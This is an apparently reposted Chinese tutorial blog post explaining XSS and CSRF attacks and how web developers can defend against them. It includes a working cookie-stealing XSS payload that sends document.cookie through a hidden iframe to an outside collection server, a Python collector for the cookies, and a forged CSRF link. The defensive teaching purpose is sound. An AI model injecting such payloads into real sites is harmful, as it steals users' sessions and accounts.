在那個年代,你們通常用拼接字符串的方式來構造動態 SQL 語句建立應用,因而 SQL 注入成了很流行的攻擊方式。在這個年代, 參數化查詢 [1] 已經成了廣泛用法,咱們已經離 SQL 注入很遠了。可是,歷史一樣悠久的 XSS 和 CSRF 卻沒有遠離咱們。因爲以前已經對 XSS 很熟悉了,因此我對用戶輸入的數據一直很是當心。若是輸入的時候沒有通過 Tidy 之類的過濾,我必定會在模板輸出時候所有轉義。因此我的感受,要避免 XSS 也是很容易的,重點是要「當心」。但最近又據說了另外一種跨站攻擊 CSRF ,因而找了些資料瞭解了一下,並與 XSS 放在一塊兒作個比較。javascript
XSS 全稱「跨站腳本」,是注入攻擊的一種。其特色是不對服務器端形成任何傷害,而是經過一些正常的站內交互途徑,例如發佈評論,提交含有 JavaScript 的內容文本。這時服務器端若是沒有過濾或轉義掉這些腳本,做爲內容發佈到了頁面上,其餘用戶訪問這個頁面的時候就會運行這些腳本。php
運行預期以外的腳本帶來的後果有不少中,可能只是簡單的惡做劇——一個關不掉的窗口:html
1 while (true) { 2 alert("你關不掉我~"); 3 }
也能夠是盜號或者其餘未受權的操做——咱們來模擬一下這個過程,先創建一個用來收集信息的服務器:java
1 #!/usr/bin/env python 2 #-*- coding:utf-8 -*- 3 4 """ 5 跨站腳本注入的信息收集服務器 6 """ 7 8 import bottle 9 10 app = bottle.Bottle() 11 plugin = bottle.ext.sqlite.Plugin(dbfile='/var/db/myxss.sqlite') 12 app.install(plugin) 13 14 @app.route('/myxss/') 15 def show(cookies, db): 16 SQL = 'INSERT INTO "myxss" ("cookies") VALUES (?)' 17 try: 18 db.execute(SQL, cookies) 19 except: 20 pass 21 return "" 22 23 if __name__ == "__main__": 24 app.run()
而後在某一個頁面的評論中注入這段代碼:python
1 // 用 <script type="text/javascript"></script> 包起來放在評論中 2 3 (function(window, document) { 4 // 構造泄露信息用的 URL 5 var cookies = document.cookie; 6 var xssURIBase = "http://192.168.123.123/myxss/"; 7 var xssURI = xssURIBase + window.encodeURI(cookies); 8 // 創建隱藏 iframe 用於通信 9 var hideFrame = document.createElement("iframe"); 10 hideFrame.height = 0; 11 hideFrame.width = 0; 12 hideFrame.style.display = "none"; 13 hideFrame.src = xssURI; 14 // 開工 15 document.body.appendChild(hideFrame); 16 })(window, document);
因而每一個訪問到含有該評論的頁面的用戶都會遇到麻煩——他們不知道背後正悄悄的發起了一個請求,是他們所看不到的。而這個請求,會把包含了他們的賬號和其餘隱私的信息發送到收集服務器上。jquery
咱們知道 AJAX 技術所使用的 XMLHttpRequest 對象都被瀏覽器作了限制,只能訪問當前域名下的 URL,所謂不能「跨域」問題。這種作法的初衷也是防範 XSS,多多少少都起了一些做用,但不是老是有用,正如上面的注入代碼,用 iframe 也同樣能夠達到相同的目的。甚至在願意的狀況下,我還能用 iframe 發起 POST 請求。固然,如今一些瀏覽器可以很智能地分析出部分 XSS 並予以攔截,例如新版的 Firefox、Chrome 都能這麼作。但攔截不老是能成功,況且這個世界上還有大量根本不知道什麼是瀏覽器的用戶在用着可怕的 IE6。從原則上將,咱們也不該該把事關安全性的責任推脫給瀏覽器,因此防止 XSS 的根本之道仍是過濾用戶輸入。用戶輸入老是不可信任的,這點對於 Web 開發者應該是常識。git
正如上文所說,若是咱們不須要用戶輸入 HTML 而只想讓他們輸入純文本,那麼把全部用戶輸入進行 HTML 轉義輸出是個不錯的作法。彷佛不少 Web 開發框架、模版引擎的開發者也發現了這一點,Django 內置模版和 Jinja2 模版老是默認轉義輸出變量的。若是沒有使用它們,咱們本身也能夠這麼作。PHP 能夠用 htmlspecialchars 函數,Python 能夠導入 cgi 模塊用其中的 cgi.escape 函數。若是使用了某款模版引擎,那麼其必自帶了方便快捷的轉義方式。github
真正麻煩的是,在一些場合咱們要容許用戶輸入 HTML,又要過濾其中的腳本。Tidy 等 HTML 清理庫能夠幫忙,但前提是咱們當心地使用。僅僅粗暴地去掉 script 標籤是沒有用的,任何一個合法 HTML 標籤均可以添加 onclick 一類的事件屬性來執行 JavaScript。對於複雜的狀況,我我的更傾向於使用簡單的方法處理,簡單的方法就是白名單從新整理。用戶輸入的 HTML 可能擁有很複雜的結構,但咱們並不將這些數據直接存入數據庫,而是使用 HTML 解析庫遍歷節點,獲取其中數據(之因此不使用 XML 解析庫是由於 HTML 要求有較強的容錯性)。而後根據用戶原有的標籤屬性,從新構建 HTML 元素樹。構建的過程當中,全部的標籤、屬性都只從白名單中拿取。這樣能夠確保萬無一失——若是用戶的某種複雜輸入不能爲解析器所識別(前面說了 HTML 不一樣於 XML,要求有很強的容錯性),那麼它不會成爲漏網之魚,由於白名單從新整理的策略會直接丟棄掉這些未能識別的部分。最後得到的新 HTML 元素樹,咱們能夠拍胸脯保證——全部的標籤、屬性都來自白名單,必定不會遺漏。ajax
如今看來,大多數 Web 開發者都瞭解 XSS 並知道如何防範,每每大型的 XSS 攻擊(包括前段時間新浪微博的 XSS 注入)都是因爲疏漏。我我的建議在使用模版引擎的 Web 項目中,開啓(或不要關閉)相似 Django Template、Jinja2 中「默認轉義」(Auto Escape)的功能。在不須要轉義的場合,咱們能夠用相似sql
{{ myvar | raw }}
的方式取消轉義。這種白名單式的作法,有助於下降咱們因爲疏漏留下 XSS 漏洞的風險。
另一個風險集中區域,是富 AJAX 類應用(例如豆瓣網的阿爾法城)。這類應用的風險並不集中在 HTTP 的靜態響應內容,因此不是開啓模版自動轉義能就能一勞永逸的。再加上這類應用每每須要跨域,開發者不得不本身打開危險的大門。這種狀況下,站點的安全很是 依賴開發者的細心和應用上線前有效的測試。如今亦有很多開源的 XSS 漏洞測試軟件包(彷佛有篇文章提到豆瓣網的開發也使用自動化 XSS 測試),但我都沒試用過,故不予評價。無論怎麼說,我認爲從用戶輸入的地方把好關老是成本最低而又最有效的作法。
這裏附上一些「白名單」消毒 HTML 標籤和屬性(Sanitize HTML)的開源解決方案:
起初我一直弄不清楚 CSRF 究竟和 XSS 有什麼區別,後來才明白 CSRF 和 XSS 根本是兩個不一樣維度上的分類。XSS 是實現 CSRF 的諸多途徑中的一條,但絕對不是惟一的一條。通常習慣上把經過 XSS 來實現的 CSRF 稱爲 XSRF。
CSRF 的全稱是「跨站請求僞造」,而 XSS 的全稱是「跨站腳本」。看起來有點類似,它們都是屬於跨站攻擊——不攻擊服務器端而攻擊正常訪問網站的用戶,但前面說了,它們的攻擊類型是不一樣維度上的分 類。CSRF 顧名思義,是僞造請求,冒充用戶在站內的正常操做。咱們知道,絕大多數網站是經過 cookie 等方式辨識用戶身份(包括使用服務器端 Session 的網站,由於 Session ID 也是大多保存在 cookie 裏面的),再予以受權的。因此要僞造用戶的正常操做,最好的方法是經過 XSS 或連接欺騙等途徑,讓用戶在本機(即擁有身份 cookie 的瀏覽器端)發起用戶所不知道的請求。
嚴格意義上來講,CSRF 不能分類爲注入攻擊,由於 CSRF 的實現途徑遠遠不止 XSS 注入這一條。經過 XSS 來實現 CSRF 易如反掌,但對於設計不佳的網站,一條正常的連接都能形成 CSRF。
例如,一論壇網站的發貼是經過 GET 請求訪問,點擊發貼以後 JS 把發貼內容拼接成目標 URL 並訪問:
http://example.com/bbs/create_post.php?title=標題&content=內容
那麼,我只須要在論壇中發一帖,包含一連接:
http://example.com/bbs/create_post.php?title=我是腦殘&content=哈哈
只要有用戶點擊了這個連接,那麼他們的賬戶就會在不知情的狀況下發布了這一帖子。可能這只是個惡做劇,可是既然發貼的請求能夠僞造,那麼刪帖、轉賬、改密碼、發郵件全均可以僞造。
如何解決這個問題,咱們是否能夠效仿上文應對 XSS 的作法呢?過濾用戶輸入, 不容許發佈這種含有站內操做 URL 的連接。這麼作可能會有點用,但阻擋不了 CSRF,由於攻擊者能夠經過 QQ 或其餘網站把這個連接發佈上去,爲了假裝可能還使用 bit.ly 壓縮一下網址,這樣點擊到這個連接的用戶仍是同樣會中招。因此對待 CSRF ,咱們的視角須要和對待 XSS 有所區別。CSRF 並不必定要有站內的輸入,由於它並不屬於注入攻擊,而是請求僞造。被僞造的請求能夠是任何來源,而非必定是站內。因此咱們惟有一條路可行,就是過濾請求的 處理者。
比較頭痛的是,由於請求能夠從任何一方發起,而發起請求的方式多種多樣,能夠經過 iframe、ajax(這個不能跨域,得先 XSS)、Flash 內部發起請求(老是個大隱患)。因爲幾乎沒有完全杜絕 CSRF 的方式,咱們通常的作法,是以各類方式提升攻擊的門檻。
首先能夠提升的一個門檻,就是改良站內 API 的設計。對於發佈帖子這一類建立資源的操做,應該只接受 POST 請求,而 GET 請求應該只瀏覽而不改變服務器端資源。固然,最理想的作法是使用REST 風格 [2] 的 API 設計,GET、POST、PUT、DELETE 四種請求方法對應資源的讀取、建立、修改、刪除。如今的瀏覽器基本不支持在表單中使用 PUT 和 DELETE 請求方法,咱們可使用 ajax 提交請求(例如經過 jquery-form 插件,我最喜歡的作法),也可使用隱藏域指定請求方法,而後用 POST 模擬 PUT 和 DELETE (Ruby on Rails 的作法)。這麼一來,不一樣的資源操做區分的很是清楚,咱們把問題域縮小到了非 GET 類型的請求上——攻擊者已經不可能經過發佈連接來僞造請求了,但他們仍能夠發佈表單,或者在其餘站點上使用咱們肉眼不可見的表單,在後臺用 js 操做,僞造請求。
接下來咱們就能夠用比較簡單也比較有效的方法來防護 CSRF,這個方法就是「請求令牌」。讀過《J2EE 核心模式》的同窗應該對「同步令牌」應該不會陌生,「請求令牌」和「同步令牌」原理是同樣的,只不過目的不一樣,後者是爲了解決 POST 請求重複提交問題,前者是爲了保證收到的請求必定來自預期的頁面。實現方法很是簡單,首先服務器端要以某種策略生成隨機字符串,做爲令牌(token), 保存在 Session 裏。而後在發出請求的頁面,把該令牌以隱藏域一類的形式,與其餘信息一併發出。在接收請求的頁面,把接收到的信息中的令牌與 Session 中的令牌比較,只有一致的時候才處理請求,不然返回 HTTP 403 拒絕請求或者要求用戶從新登陸驗證身份。
請求令牌雖然使用起來簡單,但並不是不可破解,使用不當會增長安全隱患。使用請求令牌來防止 CSRF 有如下幾點要注意:
以下也列出一些聽說能有效防範 CSRF,其實效果甚微的方式甚至無效的作法。
<img src="./create_post.php" />
window.alert = function(){};
整體來講,目前防護 CSRF 的諸多方法還沒幾個能完全無解的。因此 CSDN 上看到討論 CSRF 的文章,通常都會含有「無恥」二字來形容(另外一位有該名號的貌似是 DDOS 攻擊)。做爲開發者,咱們能作的就是儘可能提升破解難度。當破解難度達到必定程度,網站就逼近於絕對安全的位置了(雖然不能到達)。上述請求令牌方法,就我 認爲是最有可擴展性的,由於其原理和 CSRF 原理是相剋的。CSRF 難以防護之處就在於對服務器端來講,僞造的請求和正常的請求本質上是一致的。而請求令牌的方法,則是揪出這種請求上的惟一區別——來源頁面不一樣。咱們還可 以作進一步的工做,例如讓頁面中 token 的 key 動態化,進一步提升攻擊者的門檻。本文只是我我的認識的一個總結,便不討論過深了。
來源:https://blog.tonyseek.com/post/introduce-to-xss-and-csrf/